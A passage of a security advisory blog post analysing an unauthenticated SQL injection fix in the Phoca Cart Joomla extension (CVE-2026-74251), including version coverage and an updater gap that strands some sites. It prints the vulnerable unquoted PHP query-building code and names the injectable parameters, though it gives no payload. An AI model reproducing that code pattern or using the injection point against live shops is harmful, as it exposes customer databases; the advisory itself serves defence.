changed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Release note for Phoca Cart 5.2.4, in full&lt;/p&gt;
  &lt;p&gt;This is a security release.&lt;/p&gt;
  &lt;p&gt;Five words on the package itself. No affected versions, no description of the flaw, no severity, no CVE, no workaround, and nothing to tell a site owner whether this is a quiet hardening tweak or an anonymous visitor reading their customer table. The fuller statement came later in the day.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;It did come. Phoca published a &lt;a href=&quot;https://www.phoca.cz/news/1506-phoca-cart-version-6-1-7-released-security-release&quot;&gt;news item for the 6.1.7 release&lt;/a&gt; the same day, and this time the changelog names the flaw: &quot;Fixed possible unauthenticated SQL Injection&quot;, with a detailed report promised later from an external source. The 6.1.7 GitHub release notes go one step further and credit the report to Toan Le. So this was a timing gap, not a policy, and it is to Phoca&apos;s credit that the record was put straight on the same calendar day.&lt;/p&gt;
&lt;p&gt;We have spent a lot of this year reading release notes that never caught up. JoomShaper shipped a critical Helix3 patch under a changelog that &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;said only &quot;Security Update&quot;&lt;/a&gt;. Balbooa&apos;s &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;remote code execution fix&lt;/a&gt; arrived under a plain &quot;Fixed&quot; heading, with nothing to say it closed a hole being exploited at the time. &lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud&lt;/a&gt; pushed a security release to every site through the update system while its changelog file still held exactly one entry, for a version long past. The Joomla project&apos;s own guidance covers this as rule 17 of the &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for developers handling a security report&lt;/a&gt;: do not hide security fixes in vague language. Phoca, eventually, did not.&lt;/p&gt;
&lt;p&gt;The five-word package note still matters for one reason: for the first few hours it was the only public statement, and Joomla 4 sites had nothing at all until the evening release. The words a vendor puts in a release note are a poor guide to how urgently you need to update. The version number is the part you can act on.&lt;/p&gt;
&lt;p&gt;So we pulled the packages apart to work out what changed. The answer is an unauthenticated SQL injection in the product filter, fixed in the same file on all three lines. The more useful answer, if you manage Joomla sites for other people, is that a large share of the installs affected by this will never be offered the fix by Joomla&apos;s own updater, and will keep reporting themselves as up to date.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Phoca Cart &lt;strong&gt;5.2.4&lt;/strong&gt; (Joomla 5), &lt;strong&gt;6.1.7&lt;/strong&gt; (Joomla 6) and &lt;strong&gt;4.0.13&lt;/strong&gt; (Joomla 4) fix an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in the product filter&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;a&lt;/code&gt; (attribute) and &lt;code&gt;s&lt;/code&gt; (specification) request parameters were concatenated into the &lt;code&gt;WHERE&lt;/code&gt; clause of the product listing query inside hand-written quotes, on a &lt;strong&gt;public page, with no login and no token&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Injection points in &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;, now passed through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; (six on the 5.x/6.x lines, four on the 4.x line)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 is the only branch still unpatched.&lt;/strong&gt; We confirmed the identical vulnerable code in 3.5.8, the newest release offered to that platform, and no fixed release exists for it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla&apos;s updater will not offer the fix to a Joomla 5 site running Phoca Cart 6.x.&lt;/strong&gt; The update feed offers it 5.2.4, which is lower than what it has, so Joomla shows nothing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-74251&lt;/strong&gt;, published by the Joomla CNA the same afternoon at CVSS 4.0 9.3, Critical. The range it originally stated, 5.0.0 to 6.1.16, was corrected same-day to 5.0.0 to 6.1.6, but the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This is not our find.&lt;/strong&gt; Phoca credits the report to Toan Le; we analysed the published diff afterwards&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Phoca Cart 5.2.4, 6.1.7 and 4.0.13 actually changed&lt;/h2&gt;
&lt;p&gt;A warning for anyone trying to check this themselves, because the obvious method gives the wrong answer. GitHub&apos;s compare view between the two tags is useless here. The &lt;code&gt;5.2.4&lt;/code&gt; tag points at commit &lt;code&gt;9549020f&lt;/code&gt;, which is the same commit as &lt;code&gt;6.1.7&lt;/code&gt;. Comparing &lt;code&gt;5.2.3...5.2.4&lt;/code&gt; therefore reports 19 commits and 223 changed files, eight months of unrelated 6.x development, none of which is in the 5.2.4 package that people actually install.&lt;/p&gt;
&lt;p&gt;The real 5.2.4 code exists only in the release ZIP. Download both packages, unzip, and diff the trees:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -sLO https://github.com/PhocaCz/PhocaCart/releases/download/5.2.3/com_phocacart_v5.2.3.zip
curl -sLO https://github.com/PhocaCz/PhocaCart/releases/download/5.2.4/com_phocacart_v5.2.4.zip
unzip -q com_phocacart_v5.2.3.zip -d v523 &amp;amp;&amp;amp; unzip -q com_phocacart_v5.2.4.zip -d v524
diff -rq v523 v524
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two files differ. &lt;code&gt;phocacart.xml&lt;/code&gt; carries the version bump from 5.2.3 to 5.2.4 and a new creation date, and the rest of its diff is line-ending noise. Everything else is &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There is no feature work smuggled in alongside the fix, which makes it a low-risk update to apply. The bundled plugins in the package are untouched and stay at 5.1.1.&lt;/p&gt;
&lt;p&gt;The same evening Phoca published 4.0.13, a security release for the Joomla 4 line, and the diff there is the same fix in the same file. The 4.x package differs more broadly, because the component is packaged differently from the 5.x and 6.x builds, but &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt; carries the identical quoting change. The one structural difference: the 4.x file has four injection points rather than six, because the 4.x line predates the multilingual code path that doubles the count on the newer branches.&lt;/p&gt;
&lt;h2&gt;How does the Phoca Cart SQL injection work?&lt;/h2&gt;
&lt;p&gt;The vulnerable code is in &lt;code&gt;PhocacartSearch::getSqlPartsArray()&lt;/code&gt;, which builds the SQL for filtering products by attribute or specification. Filter values were pasted directly into the query string inside quotes the code wrote itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Before, in 5.2.3 and 6.1.6: single-quote break-out
$inA[] = &apos;(at2.alias = &apos; . $db-&amp;gt;quote($k) . &apos; AND v2.alias IN (&apos; . &apos;\&apos;&apos; . implode(&apos;\&apos;,\&apos;&apos;, $a) . &apos;\&apos;&apos; . &apos;))&apos;;

// Before: double-quote break-out
$inAS[$iA] = &apos;at2.alias = &apos; . $db-&amp;gt;quote($k) . &apos; AND v2x&apos; . $iA . &apos;.alias = &quot;&apos; . $v2 . &apos;&quot;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the array &lt;em&gt;key&lt;/em&gt; was already going through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;. Only the values were left raw. The fix pre-quotes the whole array and quotes the scalar:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$aQuoted = [];
foreach ($a as $vQ) {
    $aQuoted[] = $db-&amp;gt;quote($vQ);
}

$inA[] = &apos;(at2.alias = &apos; . $db-&amp;gt;quote($k) . &apos; AND v2.alias IN (&apos; . implode(&apos;,&apos;, $aQuoted) . &apos;))&apos;;
$inAS[$iA] = &apos;at2.alias = &apos; . $db-&amp;gt;quote($k) . &apos; AND v2x&apos; . $iA . &apos;.alias = &apos; . $db-&amp;gt;quote($v2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same change is applied six times, covering the attribute and specification paths in both the &quot;match any&quot; and &quot;match all&quot; filter modes, each duplicated for the multilingual and single-language code paths.&lt;/p&gt;
&lt;p&gt;Nothing stands between that concatenation and an anonymous visitor. The front-end product listing model reads both parameters straight from the request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setState(&apos;a&apos;, $app-&amp;gt;getInput()-&amp;gt;get(&apos;a&apos;, &apos;&apos;, &apos;array&apos;)); // Attributes
$this-&amp;gt;setState(&apos;s&apos;, $app-&amp;gt;getInput()-&amp;gt;get(&apos;s&apos;, &apos;&apos;, &apos;array&apos;)); // Specifications
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla&apos;s &lt;code&gt;array&lt;/code&gt; filter casts the input to an array. It does not sanitise the individual values inside it, so whatever the visitor sends arrives intact at the string concatenation above. The resulting fragment goes into the &lt;code&gt;WHERE&lt;/code&gt; clause and the &lt;code&gt;LEFT JOIN&lt;/code&gt; of the product listing query. That is a public category or product listing page: no account, no token, no user interaction.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note on what we did and did not test&lt;/p&gt;
  &lt;p&gt;This analysis is a read of the published diff and the surrounding source, not a live exploitation attempt. We have not run an injection against any site, and we are not publishing a payload. The vulnerable pattern and its reachability are both plain in code that anyone can download, which is why we are comfortable describing the mechanism while leaving the working request to the imagination.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Which Phoca Cart versions are affected?&lt;/h2&gt;
&lt;p&gt;Everything before the three fixed releases, on every branch. We extracted the newest package offered to each Joomla generation and checked the same function in each:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Joomla version&lt;/th&gt;
&lt;th&gt;Newest Phoca Cart offered&lt;/th&gt;
&lt;th&gt;Contains the fix?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 6&lt;/td&gt;
&lt;td&gt;6.1.7&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;td&gt;5.2.4&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4&lt;/td&gt;
&lt;td&gt;4.0.13&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3&lt;/td&gt;
&lt;td&gt;3.5.8&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The Joomla 4 package, 4.0.13, was published the same evening as the 5.x and 6.x releases, so the Joomla 4 line is patched after all. Only the Joomla 3 package, 3.5.8, still carries the unquoted concatenation, and the Joomla 3 front-end model has the same unfiltered &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; binding. No fixed release exists for the 3.x branch.&lt;/p&gt;
&lt;h2&gt;CVE-2026-74251, and where its version range is wrong&lt;/h2&gt;
&lt;p&gt;The Joomla project&apos;s CNA published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74251&quot;&gt;CVE-2026-74251&lt;/a&gt; at 12:51 UTC on 16 August 2026, in the gap between the two morning releases and the evening 4.0.13. It scores the flaw &lt;strong&gt;CVSS 4.0 9.3, Critical&lt;/strong&gt;, on the vector &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H&lt;/code&gt;, and classifies it as CWE-89. That is the official severity, and it matches what the code does: reachable over the network, no privileges, no user interaction, and high impact on the confidentiality, integrity and availability of the database behind the shop.&lt;/p&gt;
&lt;p&gt;The description confirms the mechanism independently of our diff. It names the &lt;code&gt;a[]&lt;/code&gt; and &lt;code&gt;s[]&lt;/code&gt; GET array parameters on the public shop items page, says they are &quot;concatenated raw into SQL WHERE clauses without parameterization or escaping&quot;, and states the consequence as &quot;full database extraction via time-based blind techniques&quot;.&lt;/p&gt;
&lt;p&gt;Two details in the record did not survive checking, and one of them the Joomla CNA fixed themselves within the hour.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The affected range was originally given as 5.0.0 to 6.1.16, and there is no Phoca Cart 6.1.16.&lt;/strong&gt; The highest tag ever published on the 6.x line is 6.1.7, which is the release carrying the fix. The last vulnerable 6.x build is 6.1.6. The CNA corrected the record the same afternoon, and it now reads 5.0.0 to 6.1.6, which matches reality on the top end.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The 5.0.0 floor still leaves out the Joomla 4 and Joomla 3 lines.&lt;/strong&gt; We extracted 4.0.12 and 3.5.8 and found the identical unquoted concatenation in both. The Joomla 4 line now has a patched release, 4.0.13, but the vulnerable 4.0.12 build is outside the stated range, as is 3.5.8 on a branch with no fix at all. A range starting at 5.0.0 reads as an all-clear for exactly the oldest shops.&lt;/p&gt;
&lt;p&gt;Act on the 9.3, and treat the version range as narrower than reality. If you are running Phoca Cart below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line, below 4.0.13 on the 4.x line, or anything at all on 3.x, you are affected.&lt;/p&gt;
&lt;h2&gt;Why Joomla&apos;s updater will not offer the fix to some sites&lt;/h2&gt;
&lt;p&gt;Phoca&apos;s update feed publishes one entry per Joomla generation, each gated by a &lt;code&gt;targetplatform&lt;/code&gt; regex:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;version&amp;gt;5.2.4&amp;lt;/version&amp;gt;  &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;5\.*&quot;/&amp;gt;
&amp;lt;version&amp;gt;6.1.7&amp;lt;/version&amp;gt;  &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;6\.*&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla&apos;s extension update adapter matches that regex against the running Joomla version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$product == $this-&amp;gt;currentUpdate-&amp;gt;targetplatform[&apos;NAME&apos;]
&amp;amp;&amp;amp; preg_match(&apos;/^&apos; . $this-&amp;gt;currentUpdate-&amp;gt;targetplatform[&apos;VERSION&apos;] . &apos;/&apos;, JVERSION)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Joomla 5.4.7 site therefore only ever sees the 5.2.4 entry. The 6.1.7 entry is discarded before any version comparison happens. Then &lt;code&gt;Updater::findUpdates()&lt;/code&gt; checks that the offered version is actually newer than what is installed, using a &lt;code&gt;gt&lt;/code&gt; comparison:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (version_compare($current_update-&amp;gt;version, $data[&apos;version&apos;], $operator) == 1) {
    $current_update-&amp;gt;extension_id = $eid;
    $retVal[] = $current_update;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With 5.2.4 offered and 6.1.5 installed, &lt;code&gt;version_compare(&apos;5.2.4&apos;, &apos;6.1.5&apos;, &apos;gt&apos;)&lt;/code&gt; is false. No update row is created. The site reports nothing to update.&lt;/p&gt;
&lt;p&gt;So a Joomla 5 site running Phoca Cart 6.x is stranded on a vulnerable version while its update screen looks clean. The extension never appears in the update list at all, and an empty update list is indistinguishable from a patched site. No warning, no flag, no clue that anything is outstanding.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;If you run Joomla 5 with Phoca Cart 6.x, an empty update list is not evidence you are patched. Check the installed Phoca Cart version directly under System, Manage, Extensions, and compare it to 6.1.7 by eye.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Phoca Cart 6.x installs and runs on Joomla 5 perfectly well, which is how these sites got into this state in the first place. There is no Joomla version gate in the installer, so the manual fix works: download the 6.1.7 package and install it through Extensions, Install, Upload Package File.&lt;/p&gt;
&lt;p&gt;Phoca has since confirmed the behaviour is deliberate. The morning after the release, in the Joomla community chat&apos;s 3rd Party Extension Updates channel, an agency reported a customer running Phoca Cart 6.1.5 on Joomla 5.4.7 who could not see the update. Jan Pavelka, Phoca Cart&apos;s author, answered:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Yes, this is expected behavior, the latest Phoca Cart 5 is offered for Joomla 5, Joomla 5 does not expect Joomla 6 extensions to run on it. So just install [the 6.1.7 package].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the feed is working as intended and nobody is going to change it. A Joomla 5 site running Phoca Cart 6.x is expected to be updated by hand, and the empty update screen is the designed outcome.&lt;/p&gt;
&lt;p&gt;Phoca also recommends the configuration that produces it. Asked in the same channel whether the 5.x line had a security release too, Pavelka pointed to 5.2.4 and added that &quot;it is recommended to use Phoca Cart 6 on Joomla 5&quot;. That makes the recommended setup for a Joomla 5 shop the one setup Joomla&apos;s updater will never service. Follow the advice and every future Phoca Cart security release reaches the site only if a human goes looking for it.&lt;/p&gt;
&lt;p&gt;The Joomla 4 feed entry briefly had a quirk of its own. When 4.0.13 was published, the update feed&apos;s Joomla 4 entry still declared version 4.0.12 while its download URL pointed at the 4.0.13 package, so a site running exactly 4.0.12 was not offered it, because &lt;code&gt;version_compare(&apos;4.0.12&apos;, &apos;4.0.12&apos;, &apos;gt&apos;)&lt;/code&gt; is false. Phoca corrected the feed the same day, and the entry now declares 4.0.13. Sites below 4.0.12 get offered and install the 4.0.13 package normally.&lt;/p&gt;
&lt;h2&gt;The Joomla 4 line is patched, but only if you go and get it&lt;/h2&gt;
&lt;p&gt;Joomla 4 sites are offered Phoca Cart 4.0.13, which we confirmed contains the fix. The update feed declares the version correctly, so the updater behaves: any Joomla 4 site on 4.0.12 or lower is offered 4.0.13 and installs it from the update screen. There is no manual step on this branch.&lt;/p&gt;
&lt;p&gt;Phoca&apos;s own README is candid about which branches it considers finished. As of the 6.1.7 tag it labels the 3.x, 4.x &lt;strong&gt;and 5.x&lt;/strong&gt; lines &quot;no longer supported&quot;, listing 3.5.8, 4.0.12 and 5.2.4 against them, with only 6.x unqualified. So Phoca backported this fix to three branches it has already declared unsupported, and not to the oldest one. That is a defensible line to draw, and better than nothing, but the news item goes further and recommends against staying on any of them: &quot;The only correct approach is to use the latest version of Joomla 6 and Phoca Cart 6.&quot;&lt;/p&gt;
&lt;p&gt;Joomla 4 itself has been out of support for a while: bug-fix support ended in October 2024 and security support in October 2025, and the 4.x series no longer appears on &lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla&apos;s roadmap&lt;/a&gt; at all. A Joomla 4 shop therefore has a patch to install in the short term, and a migration to plan in the medium term, because it is running an unsupported CMS with a shopping cart whose developer is pointing everyone at the newest branch.&lt;/p&gt;
&lt;h2&gt;How the affected Joomla sites break down&lt;/h2&gt;
&lt;p&gt;Of the Phoca Cart installs visible across the Joomla sites we manage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Not one was on a fixed version.&lt;/strong&gt; Every install we can see predates 5.2.4, 6.1.7 and 4.0.13, which is expected on release day and is why the update path matters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;About two-thirds&lt;/strong&gt; will be offered a fixed release normally by Joomla&apos;s updater and can be patched from the update screen&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;About a third&lt;/strong&gt; are Joomla 5 sites running Phoca Cart 6.x. These get offered a lower version, so their update screens show nothing at all&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A handful&lt;/strong&gt; are Joomla 4 sites, which are offered the fixed 4.0.13 release normally by the updater&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That means &lt;strong&gt;roughly a third of the Phoca Cart installs we can see cannot get this fix through Joomla&apos;s own updater, and none of them will be told they are missing it.&lt;/strong&gt; If you manage Joomla shops and your process is &quot;check the update screen, apply what is listed&quot;, that process misses close to a third of the affected sites here and gives you a clean bill of health while doing it.&lt;/p&gt;
&lt;p&gt;The SQL injection itself is an ordinary bug, competently fixed, in a tightly scoped release. Getting that fix onto the sites that need it is the harder half of the job.&lt;/p&gt;
&lt;h2&gt;How do I find every Phoca Cart install across my Joomla sites?&lt;/h2&gt;
&lt;p&gt;The check you need is not &quot;what version of Phoca Cart is this&quot; on its own. It is the extension version and the Joomla version together, because the pair is what decides whether the updater will do anything.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; lists every extension across every connected site, so you can search for Phoca Cart once and get back every site running it with its version, alongside the Joomla version for that site. That turns a site-by-site login into a single search. It is part of the subscription rather than a free lookup tool, and if you already manage a batch of Joomla sites it is the difference between knowing which shops are stranded and guessing.&lt;/p&gt;
&lt;p&gt;For this specific release, the triage is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find every site running Phoca Cart, with its Joomla version&lt;/li&gt;
&lt;li&gt;Joomla 6 sites below 6.1.7, and Joomla 5 sites below 5.2.4 on the 5.x line: update from the Joomla update screen&lt;/li&gt;
&lt;li&gt;Joomla 5 sites running any 6.x version: download 6.1.7 and install it manually, because the updater will not offer it&lt;/li&gt;
&lt;li&gt;Joomla 4 sites on 4.0.12 or lower: update from the update screen, which offers 4.0.13 normally&lt;/li&gt;
&lt;li&gt;Joomla 3 sites: no fix exists, so plan the migration or drop the extension&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If a site turns out to have been running a vulnerable version on a public shop for a long time, updating closes the hole but tells you nothing about what happened before. If you need someone to go through a site properly, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a fixed fee of £120 per incident, screened first so you are not charged if it cannot be fixed.&lt;/p&gt;
&lt;h2&gt;Did mySites.guru find this one?&lt;/h2&gt;
&lt;p&gt;No. This is Phoca&apos;s own security release. We had no involvement in finding it, no involvement in reporting it, and we learned about it the same way anyone else could, by reading a published diff after the packages went out. Phoca&apos;s release notes credit the report to Toan Le, an external researcher, which the news item matches when it promises a detailed report from an external source.&lt;/p&gt;
&lt;p&gt;We say so because we have published a run of Joomla extension SQL injection disclosures this year that we did find, including &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;, and this post sits close enough to those to be mistaken for one. Credit here belongs to Toan Le for finding it and Phoca for fixing it. We have reported a separate flaw in &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; in the past, which Jan Pavelka fixed the same day, so our experience of Phoca acting quickly on a security report is first hand.&lt;/p&gt;
&lt;p&gt;CVE-2026-74251 names no finder, while Phoca&apos;s own release notes do. The Joomla CNA does credit researchers when there is one to credit, so an empty credits field here is likely a data entry gap in the record rather than a signal that nobody reported it.&lt;/p&gt;
&lt;h2&gt;Severity&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.3&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The Joomla CNA&apos;s score for CVE-2026-74251&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable over the internet on a public shop page with no account, no token and no user interaction. The CNA scored confidentiality, integrity and availability all high, because the injection sits inside a WHERE clause the attacker controls outright rather than in a value the query merely reads. The 5.x, 6.x and 4.x lines have a patched release. The 3.x line carries the same code with nothing to update to.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Public shop page&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
        &lt;span&gt;No fix on Joomla 3&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Extension&lt;/td&gt;
&lt;td&gt;Phoca Cart for Joomla (&lt;code&gt;com_phocacart&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Phoca, Jan Pavelka (&lt;a href=&quot;https://www.phoca.cz/phocacart&quot;&gt;phoca.cz&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;) through the &lt;code&gt;a[]&lt;/code&gt; attribute and &lt;code&gt;s[]&lt;/code&gt; specification filter parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74251&quot;&gt;CVE-2026-74251&lt;/a&gt;, published by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt; at 12:51 UTC on 16 August 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.3 (Critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; (the Joomla CNA&apos;s score)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerable file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;. Six injection points on the 5.x/6.x lines, four on the 4.x line, all now passed through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read of any table in the shop&apos;s database, including customer records and password hashes, by time-based blind extraction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Toan Le, an external researcher credited in Phoca&apos;s 6.1.7 release notes. The CVE record credits nobody, and this is not a mySites.guru finding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Every release below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line and below 4.0.13 on the 4.x line, plus the whole of the 3.x branch. The CVE record stated 5.0.0 to 6.1.16 at first, corrected same-day to 5.0.0 to 6.1.6; the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;5.2.4 (Joomla 5 line), 6.1.7 (Joomla 6 line) and 4.0.13 (Joomla 4 line), all released 16 August 2026. No fixed release on the 3.x branch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74251&quot;&gt;CVE-2026-74251&lt;/a&gt;, the Joomla CNA&apos;s record, for the official CVSS 4.0 score and vector&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/5.2.4&quot;&gt;Phoca Cart 5.2.4 release&lt;/a&gt;, &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/6.1.7&quot;&gt;6.1.7 release&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhocaCz/PhocaCart/releases/tag/4.0.13&quot;&gt;4.0.13 release&lt;/a&gt; on GitHub, with the downloadable packages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.phoca.cz/news/1506-phoca-cart-version-6-1-7-released-security-release&quot;&gt;Phoca&apos;s news item for the 6.1.7 release&lt;/a&gt;, the vendor&apos;s own announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.phoca.cz/phocacart&quot;&gt;Phoca Cart project page&lt;/a&gt; for documentation and the vendor&apos;s own download portal&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server/&quot;&gt;Joomla&apos;s update server documentation&lt;/a&gt; explaining &lt;code&gt;targetplatform&lt;/code&gt; and how update servers are matched&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;How to enable Joomla extension auto-updates safely&lt;/a&gt; on getting patches applied without breaking sites&lt;/li&gt;
&lt;/ul&gt;
